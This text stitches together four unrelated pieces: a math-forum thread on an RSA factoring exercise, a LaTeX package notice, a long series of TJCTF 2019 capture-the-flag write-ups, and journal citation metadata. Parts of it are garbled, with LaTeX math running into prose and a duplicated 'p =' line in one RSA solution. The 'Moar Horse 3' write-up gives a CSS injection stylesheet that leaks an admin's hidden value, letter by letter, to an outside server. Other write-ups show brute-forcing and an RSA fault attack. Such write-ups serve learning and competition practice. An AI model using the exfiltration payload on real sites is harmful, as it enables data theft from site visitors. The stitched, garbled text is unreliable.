text:
# Modulo arithmetic and factoring n

• Mar 17th 2011, 06:53 PM
chrisc
Modulo arithmetic and factoring n
Hi again.
Its getting late and its been a long day. I have one more question to study before I call it.
Normally I would include my attempts on a question. But honestly, this time I do not think they are worth it. I feel lost on this one.
Luckily I found the question on the web so I can refer to it easily

http://www-users.math.umd.edu/~lcw/456F09.pdf
It is #3.

If this helps, this is listed under RSA questions.

Even if someone can supply direction or hints, I can try looking at it again in the morning.
Seeing that 1 there makes me want to say something related to Fermat's Little theorem, or at least a generalization of it.
• Mar 17th 2011, 07:29 PM
tonio
Quote:

Originally Posted by chrisc
Hi again.
Its getting late and its been a long day. I have one more question to study before I call it.
Normally I would include my attempts on a question. But honestly, this time I do not think they are worth it. I feel lost on this one.
Luckily I found the question on the web so I can refer to it easily

http://www-users.math.umd.edu/~lcw/456F09.pdf
It is #3.

If this helps, this is listed under RSA questions.

Even if someone can supply direction or hints, I can try looking at it again in the morning.
Seeing that 1 there makes me want to say something related to Fermat's Little theorem, or at least a generalization of it.

(a) Since $1\neq k^2=2^{n-1}$ , if n were a prime we'd be contradicting flt;

(b) With $x\in\mathbb{Z}\,,\,\,xn+1=k^2=2^{n-1}\Longrightarrow xn=2^{n-1}-1$ , and this is as far as I can get.

Tonio
• Mar 17th 2011, 07:42 PM
chrisc
thank you. ill take a look in the morning and see what I can do with b.
• Mar 21st 2011, 06:31 AM
chrisc
(k^2) - 1 = 0modn
(k+1)(k-1) = 0modn
but k =/= + 1 or -1
so there is a factor of n that divided (k+1) or (k-1)

find the gcd of (k-1, n)


text:
# Announcements for appendixnumberbeamer

## appendixnumberbeamer – Manage frame numbering in appendixes in beamer

This package fixes the frame numbering in beamer when using an appendix such that the slides from the appendix are not counted in the total frame number of the main part of the document. The total frame number counter is reset to 0 when entering the appendix.

The standard usage is to include \usepackage{appendixnumberbeamer} in the preamble and then declare the beginning of the appendix as usual using the \appendix command.

 Package appendixnumberbeamer Version 1.2 Copyright 2007–2018 Jérôme Lelong Maintainer Jérôme Lelong

Atom Atom 1.0 feed with announcements for package appendixnumberbeamer.

format: plain


text:
TJCTF 2019

| category: writeups

I tried to solve a pwn challenge, but couldn’t…

Guess My Hashword

Category: Cryptography

Written by boomo

I bet you’ll never guess my password!

I hashed tjctf{[word]} - my word has a captial letter, two lowercase letters, a digit, and an underscore.

Here’s the md5 hash: 31f40dc5308fa2a311d2e2ba8955df6c

Given such a small keyspace, I went ahead and brute-forced it.

from hashlib import md5
from itertools import product, permutations

want = '31f40dc5308fa2a311d2e2ba8955df6c'

capital = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
letters = 'abcdefghijklmnopqrstuvwxyz'
digits = '0123456789'

keyspace = (''.join(s) for c in product(capital, letters, letters, digits, '_') for s in permutations(c, 5))

for s in keyspace:
s = 'tjctf{%s}' % s
if md5(s.encode()).hexdigest() == want:
print(s)
break

This code found the solution in less than 10s on my machine.

• flag: tjctf{w0w_E}

Easy as RSA

Category: Cryptography

Written by rj9

Decrypt this for a quick flag!

rsa

Since the modulus is small (198 bits), I used this online factorizor.

p = 564819669946735512444543556507
p = 671998030559713968361666935769
d = gmpy2.invert(e, (p-1) * (q-1))
pt = pow(c, d, n)
print(unhex(hex(pt)[2:]).decode())
• flag: tjctf{RSA_2_3asy}

Journey

Category: Miscellaneous

Written by boomo

Every journey starts on step one

nc p1.tjctf.org 8009

Upon connecting, the server sends you a word, and then prompts you to reply with that word. Over and over.

Encountered 'one'
The first step:
Encountered 'infected'
The next step:
Encountered 'solubility'
The next step:

I let this code run for a while, it had printed out the flag when I came back to it.

word = input()

p = remote('p1.tjctf.org', 8009)

p.recvuntil('step:')
p.sendline(word)

while True:
line = p.recvline()
print(line)
line = line[14:-2]
p.recvuntil('step:')
p.sendline(line)
• flag: tjctf{an_38720_step_journey}
• solution: solution.py

All the Zips

Category: Forensics

Written by boomo

140 zips in the zip, all protected by a dictionary word.

All the zips

I figured out how to use JTR! Most of my time was spent on trying to get the damn thing to compile on my machine, though.

Running it like ./run/john zip_hashes was enough. Not sure where the wordlists are coming from but I’m not complaining. zip85.zip with password “every” contained the flag.

• flag: tjctf{sl4m_1_d0wn_s0_that_it5_heard}

Galaxy

Category: Forensics

Written by rj9

I found this interesting picture in my astronomy textbook but I don’t know whats special about it. Maybe a reverse image search will help.

galaxy

This is a 220x220 PNG image, and reverse image search told me that it is a “Low Surface Brightness Galaxy” or an “LSB” Galaxy,

This hinted me to look at the LSB of RGB value of the image.

for y := 0; y < img.Bounds().Dy(); y++ {
for x := 0; x < img.Bounds().Dx(); x++ {
r, g, b, _ := img.At(x, y).RGBA()
fmt.Print(r & 1)
fmt.Print(g & 1)
fmt.Print(b & 1)
}
}

This code goes through the image in reading order, printing the least significant bits of each pixel’s RGB values. I had first tried this column-first, but the output contained sparse chunks of 1 bits separated by roughly 600 zeroes, which suggested that the image was to be read row-first.

Once I extracted the bits, I converted them into a string, obtaining the flag.

bits = '01110100011010100110001101110100011001100111101101101100011000010111001101110100010111110110001001110101011101000101111101101110001100000111010001011111011011000011001101100001011100110111010001111101'
print(unhex(hex(int(bits, 2))[2:]).decode())
• flag: tjctf{last_but_n0t_l3ast}
• solution: solution.go

Checker

Category: Reversing

Written by rj9

Found a flag checker program that looked pretty sketchy. Take a look at it.

file

The encoding function does the following operations:

1. Reverse the given string.
2. Convert each string to binary, without leading zeroes.
3. Woah: Flip all bits
4. Wow: Rotate 9 bits to the right.

It was relatively easy to reverse the last two steps:

rev = ''.join([encoded[(i-9)%len(encoded)] for i in range(len(encoded))])
rev = ''.join(['0' if s == '1' else '1' for s in rev])

This gave me the following bit string:

1111101110011110001111000111100111101011110001111000111101011110001111101111001101110100110001111010101110100

I then stripped out the known portions (tjctf{}), trimming the string down to 60 bits:

110011110001111000111100111101011110001111000111101011110001

The final part was the most challenging, figuring out where each letter ended and the next one began. Since leading zeroes are omitted, the most significant bit of each letter must be 1, and since they’re printable ASCII, they’re most probably between 6-8 bits long.

After a bit of manual splitting and looking up ASCII values, I obtained the following splits:

110011 1100011 110001 1110011 1101011 1100011 110001 1110101 1110001
3      c       1      s       k       c       1      u       q

It seems that they changed this problem to be much easier, padding each byte to 8 characters, thus making the guessing unnecessary. All you have to do is split the string at every 8 characters.

• flag: tjctf{qu1cks1c3}

Broken Parrot

Category: Reversing

Written by evanyeyeye

I found this annoying parrot. I wish I could just ignore it, but I’ve heard that it knows something special.

I recently learned how to read assembly, so I can solve the easier reversing problems now! Yay!

The first thing that stumped me was the fake flag, the hardcoded tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}. It wasn’t that easy.

The common case is when you input a string and the program just spits it back out. However, the program performs a set of checks when the given string is exactly 33 characters long.

1. Check if the first 6 characters of the input matches the hardcoded string (tjctf{).
2. Check if characters 6-8 match the hardcoded string with offset 14 (3d_).
3. Check if characters 10-33 match the hardcoded string with offset 27 (0n7_y0u_l34v3_m3_4l0n3}).
4. Finally, check if character 9 is d.

If at any point the input string differs from the expected value, the value at -0x50(%ebp) is set to 0, and the program only reports that you have obtained the flag if this value is still set after all the checks are over.

• flag: tjctf{3d_d0n7_y0u_l34v3_m3_4l0n3}

Cable Selachimorpha

Category: Forensics

Written by jfrucht25

Although Omkar is the expert at web, I was still able to intercept his communications. Find out what password he used to login into his website so that we can gain access to it and see what Omkar is up to.

capture.pcap

strings was enough to solve this challenge.

• flag: tjctf{b0mk4r_br0k3_b10n}

Rockstart Certified

Category: Miscellaneous

Written by boomo

Tommy is a Certified Rockstar Developer! That means he can code in the rockstar programming language .

I’ve known him for years but last week I saw him dealing with some shady, cultist-y people, exchanging numbers and dates. Just last night, I saw him working on some program called ritual.rock. He typed in a number I couldn’t see, then the number 1337. The program gave the output ‘November 18.’ The thing is, November 18th is my favorite day and 1337 is my second favorite number. If the first number he put in is my favorite, I think Tommy here might be a bit of a stalker. And I don’t want a cowboy from ram ranch following me around.

Note: the flag is in the format tjctf{[first_number]}

The language specs are quite straightforward, so I went ahead and rewrote the program in pseudocode.

void(something) {
# min(something, 10000)
everything = 10000
nothingness = 0
while something != nothingness && nothingness < everything
nothingness++
return nothingness
}

the earth(life, death) {
# life % death
while death < life
life -= death
return life
}

his reincarnation(my soul, your blood) {
# my soul / your blood
his life = 0
while my soul >= your blood {
my soul -= your blood
his life++
}
return his life
}

your whispers = input()
ice = void(your whispers)

your screams = input()
fire = void(your screams)

energy = 2
ashes = energy-energy
potential = energy/energy

while ice > 0 || fire > 0 {
wind = the earth(ice, energy)
earth = the earth(fire, energy)
ice = his reincarnation(ice, energy)
fire = his reincarnation(fire, energy)

if wind > earth || earth > wind
ashes += potential

potential *= energy
}

his heart = 12
space = his reincarnation(ashes, his heart)
flow = the earth(ashes, his heart)
# output space = date, flow = month

Starting from the bottom, I figured out that ashes % 12 = 11, ashes / 12 = 18, so ashes = 227. Also, the program basically just sets ashes = ice ^ fire. Therefore, I just just had to come up with a number that evaluates to 227 when XORed with 1337.

• flag: tjctf{1498}

Comprehensive

Category: Reversing

Written by boomo

Please teach me how to be a comprehension master, all my friends are counting on me!

comprehensive.py

Original output: 225, 228, 219, 223, 220, 231, 205, 217, 224, 231, 228, 210, 208, 227, 220, 234, 236, 222, 232, 235, 227, 217, 223, 234, 2613

Note: m and k were 24 and 8 characters long originally and english.

This is why python is unreadable.

I went through each line, sometimes rewriting it with explicit for-loops for better readability.

f = [[ord(k[a]) ^ ord(m[a+b]) for a in range(len(k))] for b in range(0, len(m), len(k))]

This creates a list f such that f[a][b] = m[a*8 + b] ^ k[b]. That is, it groups the flag by 8 bytes and XORs each group with the key.

g = [a for b in f for a in b]

This line flattens the two-dimensional array created in the first step.

h = [[g[a] for a in range(b, len(g), len(f[0]))] for b in range(len(f[0]))]

This rearranges the input string, such that h[a][b] = g[a + b*3].

i = [[h[b][a] ^ ord(k[a]) for a in range(len(h[0]))] for b in range(len(h))]

This XORs each list in h with the first three bytes of the key.

print(str([a + ord(k[0]) for b in i for a in b])[1:-1] + ',', sum([ord(a) for a in m]))

Finally, this prints out the list, after adding the first byte of the key to each element. Also, it provides us with the sum of the byte values of the original flag.

Once I figued out what the code was doing, I knew that I first had to extract the key bytes.

The first byte of the flag is still the first byte of the ciphertext, which allowed me to obtain the first byte of the key by subtracting ’t’ from it. Then, I subtracted this value from the entire list, undoing the last step of the program.

key[0] = lst[0] - ord('t')
lst = [i-key[0] for i in lst]

Since the first elements of each 3-element group were XORed with k[0] ^ k[i], and I knew the original values of these bytes (tjctf{), I just had to re-XOR them to obtain the next 5 bytes of the key,

Also, I obtained the last byte of the by XORing the last byte of the ciphertext with k[2] ^ ‘}’.

for i in range(len(known)):
key[i] = lst[i*3] ^ ord(known[i]) ^ key[0]
key[-1] = lst[-1] ^ ord('}') ^ key[2]

I brute-forced the one remaning key byte, checking whether I had guessed correctly by checking the byte sum of the de-XORed values.

Once I obtained the full key and undid the XOR operations, I just need to un-shuffle the message to obtain the flag.

for i in range(26):
key[6] = i + ord('a')
msg = dexor(lst, key)
if sum(msg) == total:
break

msg = [msg[a + b*3] for a in range(3) for b in range(8)]
• flag: tjctf{oooowakarimashita}
• solution: solution.py

Moar Horse 2

Category: Web

Written by okulkarni

Moar Horse is back and better than ever before! Check out this site and see if you can find the flag. It shouldn’t be that hard, right?

This problem showed you a page with a UUID in the URL with “forward” “backward” buttons, which took you to a similar-looking page, although the links were different UUIDs.

I downloaded every single page using wget -nd -nc -rl0 https://moar_horse_2.tjctf.org/, and searched for the flag in the 32769 pages. The flag happened to be on page 3cf94f73-568f-4dbc-b185-d545aff438d6.html. I am fairly sure that this is not the organizers’ intended solition. However, if it is stupid but it works, it isn’t stupid.

• flag: tjctf{s0rry_n0_h0rs3s_anym0ar}

Invalidator

Category: Reversing

Written by evanyeyeye

Come one, come all! I offer to you unparalleled convenience in getting your flags invalidated!

The program seemed to read the input from the first argument, then compared it with a hardcoded string. However, this hardcoded string turned out to be fake flag (tjctf{0h_my_4_51mpl370n_4_r3d_h3rr1n6_f0r_7h33}). Thing is, the strcmp function is not the usual one we know, but a user function that just happened to be named strcmp. I noticed this because the output from objdump showed it as <strcmp>, not <[email protected]> as usual.

The program seems to have a hardcoded integer array at 0x0x804a040, which it compares the input string to, character by character. The index is stored in ebp - 0x4.

80484cd:	8b 45 fc             	mov    eax,DWORD PTR [ebp-0x4]
80484d0:	c1 e0 02             	shl    eax,0x2
80484d3:	83 c0 02             	add    eax,0x2
80484d6:	8b 04 85 40 a0 04 08 	mov    eax,DWORD PTR [eax*4+0x804a040]

First, it loads the integer value at array[index*4 + 2].

80484dd:	8b 4d fc             	mov    ecx,DWORD PTR [ebp-0x4]
80484e0:	8b 55 0c             	mov    edx,DWORD PTR [ebp+0xc]
80484e3:	01 ca                	add    edx,ecx
80484e5:	0f b6 12             	movzx  edx,BYTE PTR [edx]
80484e8:	0f be ca             	movsx  ecx,dl
80484eb:	8b 55 fc             	mov    edx,DWORD PTR [ebp-0x4]
80484ee:	c1 e2 02             	shl    edx,0x2
80484f1:	8b 14 95 40 a0 04 08 	mov    edx,DWORD PTR [edx*4+0x804a040]
80484f8:	31 d1                	xor    ecx,edx

It then loads the character at input[index] and XORs it with the value at array[4*index].

80484fa:	8b 55 fc             	mov    edx,DWORD PTR [ebp-0x4]
80484fd:	83 c2 40             	add    edx,0x40
8048500:	c1 e2 02             	shl    edx,0x2
8048503:	8b 14 95 40 a0 04 08 	mov    edx,DWORD PTR [edx*4+0x804a040]
804850a:	31 ca                	xor    edx,ecx
804850c:	39 d0                	cmp    eax,edx
804850e:	74 aa                	je     80484ba <strcmp+0xf>

Finally, it XORs the value obtained from the previous step with the value at array[4*(index+40)], comparing this with the first value we loaded from the array.

Overall, this loop must run 40 times before exiting. In order to obtain the correct string, I had to read out the array and compute array[4*index] ^ array[4*index+2] ^ array[4*(index+40)] for each index value from 0 to 39.

a = [77,187,75,202,20,168,249,78,37,17,180,52,141,197,8,102,243,126,135,100,131,60,152,240,168,232,231,53,173,53,75,49,148,214,241,161,247,62,64,162]
b = [89,249,168,156,202,129,8,113,39,76,207,105,246,228,246,180,9,121,118,155,76,16,23,38,90,141,7,122,75,15,14,240,98,6,2,229,101,36,158,168]
c = [96,40,128,34,184,82,198,87,54,51,16,2,2,17,139,141,207,54,131,160,255,94,208,187,198,1,212,34,213,101,51,242,132,169,172,39,162,42,178,119]
print(''.join([chr(x^y^z) for x,y,z in zip(a,b,c)]))
• flag: tjctf{7h4nk_y0u_51r_0r_m4d4m3_v3ry_c00l}

BC Calc

Category: Forensics

Written by jfrucht25

This file was found in Evan Shi’s 60 gb homework folder. What could he be up to? Figure out what the images mean in order to find out.

notAnime

note: all letters in the flag are lowercase

This is an ODT document with a bunch of logos:

Looking closely, I noticed that the logos contained the letters in “tjctf{}”, so I guessed that I had to find some ordering of these logos to spell out the flag. However, I couldn’t try every permutation, since $23!$ is too large.

I first unzipped the ODT file to see more data about the document:

Archive:  logo.odt
extracting: logos/mimetype
extracting: logos/Thumbnails/thumbnail.png
extracting: logos/Pictures/10000000000004B000000276D444D8141B10F34D.png
extracting: logos/Pictures/10000000000000B4000000B4BBA3D3C53CB3E5B3.png
extracting: logos/Pictures/100002010000084E00000326EB4E118263551E7A.png
extracting: logos/Pictures/100002010000011D00000140AA2150E289158A76.png
extracting: logos/Pictures/10000201000000FF000000C6B3EC9DB3ABE1806D.png
extracting: logos/Pictures/10000201000000AA000000AA960FC127AE7B0FCF.png
extracting: logos/Pictures/1000000000000190000001907FB0EF2007F1F7AC.png
extracting: logos/Pictures/10000201000001450000014565357D5D14CE6F38.png
extracting: logos/Pictures/1000000000000960000007089707CB71C5603689.png
extracting: logos/Pictures/10000201000000E1000000E1D7EC5FBA239977B5.png
extracting: logos/Pictures/1000020100000258000001907940F32ECE8F4B2C.png
extracting: logos/Pictures/1000020100000257000000C850C929659F1CC7FD.png
extracting: logos/Pictures/10000000000004B0000004B05AA73E361964919E.png
extracting: logos/Pictures/1000020100000190000001901B8D20B9ACC8592F.png
extracting: logos/Pictures/1000020100000100000001002B8686ABC0AA502A.png
extracting: logos/Pictures/10000201000001A10000019B9C1E990FDA7160A9.png
extracting: logos/Pictures/10000201000003E8000001A96D22240CD4A9B5DF.png
extracting: logos/Pictures/10000201000000C8000000C874DA939FF3D1D941.png
extracting: logos/Pictures/100000000000032000000258FA5D494D53975924.png
extracting: logos/Pictures/10000201000004B000000320E0EEE183552C2E08.png
extracting: logos/Pictures/10000201000000E1000000E15065C5C4D6CC2F72.png
creating: logos/Configurations2/accelerator/
creating: logos/Configurations2/toolpanel/
creating: logos/Configurations2/images/Bitmaps/
creating: logos/Configurations2/toolbar/
creating: logos/Configurations2/floater/
creating: logos/Configurations2/statusbar/
creating: logos/Configurations2/progressbar/
inflating: logos/content.xml
inflating: logos/meta.xml
inflating: logos/manifest.rdf
inflating: logos/settings.xml
inflating: logos/styles.xml
inflating: logos/META-INF/manifest.xml

I tried looking at the images in sorting order, but that didn’t help much.

Out of the files in the archive, content.xml stands out, in that it has the image file names. Using the image order in this file turned out to be the solution:

$grep -oP 'Pictures/.*?\.png' content.xml Pictures/10000201000000FF000000C6B3EC9DB3ABE1806D.png Pictures/10000201000000E1000000E1D7EC5FBA239977B5.png Pictures/1000000000000960000007089707CB71C5603689.png Pictures/10000201000001450000014565357D5D14CE6F38.png Pictures/1000000000000190000001907FB0EF2007F1F7AC.png Pictures/1000020100000190000001901B8D20B9ACC8592F.png Pictures/10000000000004B0000004B05AA73E361964919E.png Pictures/1000020100000257000000C850C929659F1CC7FD.png Pictures/10000201000001A10000019B9C1E990FDA7160A9.png Pictures/10000201000000C8000000C874DA939FF3D1D941.png Pictures/100000000000032000000258FA5D494D53975924.png Pictures/1000020100000100000001002B8686ABC0AA502A.png Pictures/10000201000003E8000001A96D22240CD4A9B5DF.png Pictures/10000201000000E1000000E15065C5C4D6CC2F72.png Pictures/10000201000004B000000320E0EEE183552C2E08.png Pictures/10000201000002BC000002BC3C2F8C3ADE701276.png Pictures/1000020100000258000001907940F32ECE8F4B2C.png Pictures/10000201000003E8000002322424DB7F8AD00F68.png Pictures/10000201000000AA000000AA960FC127AE7B0FCF.png Pictures/100002010000011D00000140AA2150E289158A76.png Pictures/100002010000084E00000326EB4E118263551E7A.png Pictures/10000000000000B4000000B4BBA3D3C53CB3E5B3.png Pictures/10000000000004B000000276D444D8141B10F34D.png  • flag: tjctf{knowurfiles} Is this the real life Category: Cryptography Written by etherlyt …is this just fantasy? public key rsagen The code first generates 8 entries in nlist as follows: for x in range(8): n = 0 phi = 1 #RSA pubkey gen while True: p = random_prime(2^floor(nbits/2)-1,lbound=2^floor(nbits/2-1),proof=False) q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False) n = p*q phi = (p-1)*(q-1) d = modinv(e, (p-1)*(q-1)) block = (d*e) % phi if gcd(phi,e) == 1: shield = 108.0 n = ((shield.nth_root(2)+10).nth_root(3)-(shield.nth_root(2)-10).nth_root(3))/2 break phi = int(str(phi)[:4]+str(phi)[::-1][:4])**ceil(n) nlist.append(phi) 1. Generate two prime numbers$p, q$(256 bits each). 2. Calculate$\varphi = (p-1) (q-1)$3. Shuffle the digits of$\varphi$around and store its square in nlist. That’s it. The complex-looking computation with shield always comes out to 2, and block is always 1, since$e d \equiv 1 \pmod{\varphi}$. It then generates a prime modulus (but it doesn’t matter) and computes the ciphertext as follows: for c in range(len(flag)): nm = str(int(bin(int(flag[c].encode('hex'),16)).replace('0b', ''))) for b in range(len(nm)): cipher[c] += int(nm[b])*nlist[b] cipher[c] = cipher[c]*int(nm) cipher[c] = cipher[c]%modulus for x in range(len(cipher)): cipher[x] = cipher[x]*block Again, there is a bit of obfuscation going on, but nm is set to the binary string of each character of the flag. The ciphertext is computed as$cipher = nm \sum_{i=1}^{8} nm_i \cdot nlist_i \pmod{modulus}$. Note that since modulus is 256 bits, it is not possible for the sum of the nlist elements to exceed the modulus. In the end, brute-forcing each byte was enough. for cipher in ct: for char in range(256): bits = bin(char)[2:] cur = 0 for i, bit in enumerate(bits): cur += nlist[i]*int(bit) cur *= int(bits) if cur == cipher: print(chr(char), end='') break • flag: tjctf{i_T40ugh7_1t_w43_RsA} • solution: solution.py Sight at Last Category: Miscellaneous Written by jfrucht25 nc p1.tjctf.org 8005 Upon connecting, I was greeted with the following message: To get the flag, solve a hundred captchas in 500 seconds! Find the minimum distance between the centers of two circles to continue: /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofH [...]  The base64 data is a JPEG image, here is an example: Assuming that no circles would ever touch or overlap, I came up with the following algorithm: 1. In order to deal with JPEG artifacts and such, threshold the image (I chose 128). 2. Create a$w \times h$array$a$, where$a_{x, y}$is set to the minimum straight-line distance from that point to the nearest white pixel. This can be done in$O(wh)$. 3. Treat a point as the center of a circle if$a_{x, y} > a_{x+1, y}, a_{x-1, y}, a_{x, y+1}, a_{x, y-1}$. 4. Run the naive$n^2$algorithm to detect minimum distance between these points. Overall, we can solve an image “captcha” in$O(wh + n^2)$, with$n$as the number of circles. For reference, step 2 produces something like this: • flag: tjctf{i5_th1s_c0mput3r_v1si0n?} • solution: solution.go Moar Horse 3 Category: Web Written by okulkarni I copped this really cool website from online and made it customizable so you can flex your CSS skills on everyone, especially the admin. Note: When you get the flag, wrap it in tjctf{} before submitting The challenge was a cool-looking website where I could insert custom CSS and it included a button to show it to the admin. Looking at the source, I noticed the following line: <h1 class="lead flag" value="You're not an admin! If you were, this would be the flag.">Welcome to my awesome website!</h1> The website also set a session cookie. At first, I thought I had to somehow steal the admin’s session cookie through CSS injection, but this seemed quite hard. Instead, I could use CSS injection to read out the flag one letter at a time by using a CSS stylesheet that looks like this: body {background-image: url(https://proxy.nevivur.net/trigger);} .flag[value^=a] {background-image: url(https://proxy.nevivur.net/a);} .flag[value^=b] {background-image: url(https://proxy.nevivur.net/b);} .flag[value^=c] {background-image: url(https://proxy.nevivur.net/c);} .flag[value^=d] {background-image: url(https://proxy.nevivur.net/d);} [...] This will cause the admin browser to load the /trigger url, as well as the url with the first letter of the flag. Once I saw the admin access from the webserver logs, I updated the CSS like so: body {background-image: url(https://proxy.nevivur.net/trigger);} .flag[value^=la] {background-image: url(https://proxy.nevivur.net/la);} .flag[value^=lb] {background-image: url(https://proxy.nevivur.net/lb);} .flag[value^=lc] {background-image: url(https://proxy.nevivur.net/lc);} .flag[value^=ld] {background-image: url(https://proxy.nevivur.net/ld);} [...] And so on, until the admin accessed only the /trigger url but not any other url, signaling that there were no further characters. • flag: tjctf{l0l1nj3ctc55} Planning Virtual Distruction Category: Forensics Written by jfrucht25 In his quest for world domination, Omkar realized that he needed to conquer more than just land, so he turned to conquering the internet. His first target was becoming the king of youtube by overcoming Pewdiepie. As a result, he embodied his Indian culture, creating the channel TSeries. In a step to stop Omkar’s world domination, we need to regain control of the internet. Perhaps you can uncover his plans hidden in this image and make a DIFFERENCE before it is too late. The title hinted at “PVD”. Searching for “PVD steganography difference” pointed me towards this paper, in which Wu and Tsai describe a method of hiding data in grayscale images. The advancement from the traditional constant n-LSB encoding method is that it encodes more data in ares where the image changes more, and less where the image is relatively smooth, thus providing higher bandwidth where available while staying undectectable. After implementing and running the algorithm as described on the paper on the image, I printed out the data and looked for the flag in the output using something like grep -ao 'tjctf{.*}'. • flag: tjctf{r1p_p3wd5_t53r1s_b4d} • solution: solution.go Cats Ruin Things Category: Cryptography Written by etherlyt My cat took over my computer and ruined everything. Or maybe, only half of everything? source nc p1.tjctf.org 8006 Looking at the source, it generates a new key on every command. The signing operation is something like rsa_sign(flag || msg). However, there was something weird on the signing function: def sign(m, key): p = key.p q = key.q e = key.e d = modinv(e, (p-1)*(q-1)) dp = d%(p-1) dq = d%(q-1)+struct.unpack('i', urandom(4))[0] qInv = modinv(q, p) s1 = pow(m, dp, p) s2 = pow(m, dq, q) h = (qInv*(s1-s2))%p s = s2+h*q return [s, e, p*q, p, q] It seemed to be doing the CRT optimization with the RSA private key operation, but dq had a random integer added to it, making it meaningless. I had heard of RSA fault attacks before, so I looked around for specifics on the attack. I figured out the following: First, in the above, code, it meant that$s_2$is plain wrong. Changing it to$xto make it slightly clearer, \begin{align} s_1 &= m^{d_p} \pmod{p} \\ x &= m^{d_q} \pmod{q} \\ s &= x + (q^{-1} (s_1 - x) \pmod p)q \end{align} Now, since \begin{align} s^e & \equiv m \pmod{p} \\ s^e & \not \equiv m \pmod{q} \end{align} It follows that \begin{align} s^e - m & \equiv 0 \pmod{p} \\ s^e -m & \not \equiv 0 \pmod{q} \end{align} Therefore, if we were to computeGCD(s^e - m, N)$, we would obtain$p$, obtaining the private key. In order to solve this challenge, I first figured out$m$by choosing any arbitrary message and recording the server-produced hash (which I can’t compute myself, since it’s concatenated with the flag). hashed mes: ed044994e7428c76aebfe6b647665aac94b583294593d4284b0525f94da022c9  Then, choosing option 1, I input the same message as before. The server then replied with the public key and the (invalid) signature: e: 65537 N: 16320381743547370925077506389122353055431852693210586482093097093712526833394726597143519791437498806166402634109283209168827921481015173626134294920034763722575355944033030947412996534177242865898571661734518374554278410576728268346183337711074387529597276600189092513100258969033311134399626382842254749840992671090165605127183477912985038707942905382013991544361142732813968410905142146822283624860446089755883999525849180405324010500306304156038483228180616395387111137531931186532573392559017616311134531480451293280848920666825388282230052377905120832285312314181325514957257195333924525630659925334637201343211 Here is your signature: 9886434279059831661809984425899166488127823607228819533783507110337451596473512804675827058162664325913825692643711677436533250647368201131925228908970806022449253388987779960098630483083718561618788469597029281979302342869762465528043529811432379716758616393578819613449164663489398341579910070511374222263788336556854710751433977535953683606166005211088846871197975950272135854601785975653546848060989283056757832020755668000864725983956542199790577952156977264499592843497784476143894069895669522917450689688972260737904210360201696378701254034543368134284719855728734955361798787399891784414249034381451033926480  I could then obtain$p\$ as follows:

gmpy2.gcd(pow(sig, e, n) - int(hash, 16), n)
# 127359406750547339583223464998653905286468256318294106176565547220008122355200755010249735435707904160106406677830295618424026637619145508159786896059740265049391844585745341950863094203768451690024436078935725554250866827487237851529446376778305395346469861355237342975590021959680482091833092038593055021079

I could then generate the private exponent and decrypt the message from the cat, obtaining the flag.

Note: the source was added after no solutions were submitted for ~2 days. I only managed it solve it after it was added, though.

• flag: tjctf{cAts_4r3_d3vils_RSACRT}

Security through Ergodicity

Category: Forensics

Life sucks sometimes because Facebook Messenger is always so slow. That’s why I decided to make my own chat client. It’s simple, stream-lined, and best of all, encrypted with state of the art encryption. Check this out! Oh yeah, and here’s the source too!

The java program generates a new key whenever a user connects, like so:

long timestamp = ((long) System.currentTimeMillis() / 1000);
Random random = new Random(timestamp);
String key  = String.format("%016x", ((long)(random.nextDouble()*10000000000L)));
String ivec  = String.format("%016x", ((long)(random.nextDouble()*10000000000L)));
AES cipher = new AES(key.getBytes("UTF-8"), ivec.getBytes("UTF-8"), "AES/CBC/PKCS5PADDING");

Also, when inspecting the pcap, (filtering for websocket traffic) we notice the following plaintext messages:

crap, 11:30?, that's literally in 2 minutes
[...]
its in 2 days
how do you not remember when your own competition is??

which hinted at the time when the session was created. Also, I extracted the list of encrypted messages from the capture.

Just to be safe, I just scanned the entire 2-day range starting 1 day before the competition started:

long ts = 1554422400;

for (int i = 0; i < 2*24*60*60; i++) {
long cur = ts-i;
Random r = new Random(cur);

String key  = String.format("%016x", ((long)(r.nextDouble()*10000000000L)));
String ivec  = String.format("%016x", ((long)(r.nextDouble()*10000000000L)));
System.out.printf("%d %s %s\n", cur, key, ivec);
}

Once I had the list of possible keys, I tried every single one until I saw the text <article> in the decrypted data, choosing the first encrypted data to be decrypted:

with open('keys') as k, open('data') as d:
data = base64.b64decode(next(d))
for line in k:
ts, key, iv = line.split()

cipher = AES.new(key, mode=AES.MODE_CBC, IV=iv)
dec = cipher.decrypt(data)

if b'<article>' in dec:
print(ts, key, iv)
break

Once I had the key, I could just go ahead and decrypt the message. The truncated messages were no problem, those only corrupted the end of the message that was truncated and the first block of the next message, none of which contained the flag.

    for line in d:
try:
data = base64.b64decode(line)
dec = cipher.decrypt(data)
dec = dec[:-dec[-1]]
print(dec.decode())
except:
# truncated & lines following truncated lines
continue

The entire conversation, sans formatting and corrupted messages, is as follows:

hello
anybody there?
hey
yo whats up?
nm hbu
did you take the test yesterday?
yeah, unfortunately, lol
how was it?
cmon bruh
what if frank sees these messages dude
whatever i'll just send you the deets later
hmm okay
btw what was the flag for that tjctf problem
uhh which one?
the one we talked about yesterday
oh that one
flag was tjctf{r3nd0m_nUmb3r_gen3r4t0r_0P}
nice
i guess i'll see you next class
cool cya then
wait, when is our next class anyways...i forgot
bruh
it's at 11:30
crap, 11:30?, that's literally in 2 minutes
how have you still not memorized your schedule
idk i have bad memory
well you better start walking, it's pretty far lmao
unlucky...
i might be like 10 minutes late to class anyways
oh why?
i still have to wrap up this tjctf problem
oh THAT problem?
yea ;)
;)
when is tjctf again?
its in 2 days
how do you not remember when your own competition is??
i guess i have bad memory too xd
smh
well i guess ill see you in class
yeah hurry up tho
cya

• flag: tjctf{r3nd0m_nUmb3r_gen3r4t0r_0P}`
• soulution: solution.py


text:
J. Meteor. Res.  2018, Vol. 32 Issue (3): 337-350 PDF
http://dx.doi.org/10.1007/s13351-018-7136-4
The Chinese Meteorological Society
0

#### Article Information

QI, Yajie, Zhongwei YAN, Cheng QIAN, et al., 2018.
Near-Term Projections of Global and Regional Land Mean Temperature Changes Considering Both the Secular Trend and Multidecadal Variability. 2018.
J. Meteor. Res., 32(3): 337-350
http://dx.doi.org/10.1007/s13351-018-7136-4

### Article History

in final form January 24, 2018
